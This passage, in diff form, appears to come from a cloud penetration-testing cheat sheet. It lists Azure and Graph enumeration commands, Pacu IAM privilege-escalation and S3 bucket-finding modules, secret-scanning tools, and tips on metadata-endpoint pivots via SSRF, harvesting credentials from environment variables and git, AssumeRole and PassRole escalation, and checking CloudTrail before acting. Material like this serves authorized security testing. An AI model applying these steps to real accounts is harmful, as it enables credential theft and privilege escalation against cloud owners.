+
# Graph API with token
|
|
253
|
+
curl -H "Authorization: Bearer <token>" \
|
|
254
|
+
"https://graph.microsoft.com/v1.0/users"
|
|
255
|
+
|
|
256
|
+
# Check app registrations (may have secrets)
|
|
257
|
+
az ad app list --all
|
|
258
|
+
|
|
259
|
+
---
|
|
260
|
+
|
|
261
|
+
## Automated Cloud Scanning
|
|
262
|
+
|
|
263
|
+
# Scout Suite — multi-cloud audit
|
|
264
|
+
scout aws --profile <profile> --report-dir output/scout/
|
|
265
|
+
scout gcp --user-account --report-dir output/scout/
|
|
266
|
+
|
|
267
|
+
# Prowler — AWS CIS benchmark + extra checks
|
|
268
|
+
prowler aws -M html -o output/prowler/
|
|
269
|
+
|
|
270
|
+
# Pacu — AWS exploitation framework
|
|
271
|
+
pacu
|
|
272
|
+
> run iam__enum_permissions
|
|
273
|
+
> run iam__privesc_scan
|
|
274
|
+
> run s3__bucket_finder
|
|
275
|
+
> run ec2__enum
|
|
276
|
+
|
|
277
|
+
# CloudSplaining — analyze IAM policies for excessive permissions
|
|
278
|
+
cloudsplaining download --profile <profile>
|
|
279
|
+
cloudsplaining scan --input-file <account-auth>.json
|
|
280
|
+
|
|
281
|
+
# Truffledog / GitLeaks — find secrets in code/configs
|
|
282
|
+
trufflehog filesystem ./output/ --json
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
## Pro Tips
|
|
287
|
+
|
|
288
|
+
1. IMDSv1 is the fastest cloud pivot — if SSRF is found, probe 169.254.169.254 immediately
|
|
289
|
+
2. Lambda/Function environment variables are goldmines — frequently contain DB URLs, API keys
|
|
290
|
+
3. S3 bucket name enumeration: target.com → target-backup, target-dev, target-staging, target-assets
|
|
291
|
+
4. `sts:AssumeRole` with no condition = free lateral movement across roles
|
|
292
|
+
5. Public EBS snapshots are a common misconfiguration — search with `restorable-by-user-ids all`
|
|
293
|
+
6. Check CloudTrail before any write operations — know what's being logged
|
|
294
|
+
7. `iam:PassRole` combined with any compute service = privilege escalation path
|
|
295
|
+
8. GCP service account keys in git repos are extremely common — trufflehog every repo found
|
|
296
|
+
|
|
297
|
+
## Summary
|
|
298
|
+
|
|
299
|
+
Cloud pentesting is 80% authorization abuse and credential chaining. Find credentials (IMDS, env vars, secrets manager, git repos), enumerate permissions, find a path to admin (IAM privesc, assume-role, PassRole+compute), and escalate. Storage misconfigs are fast wins — always enumerate buckets.
|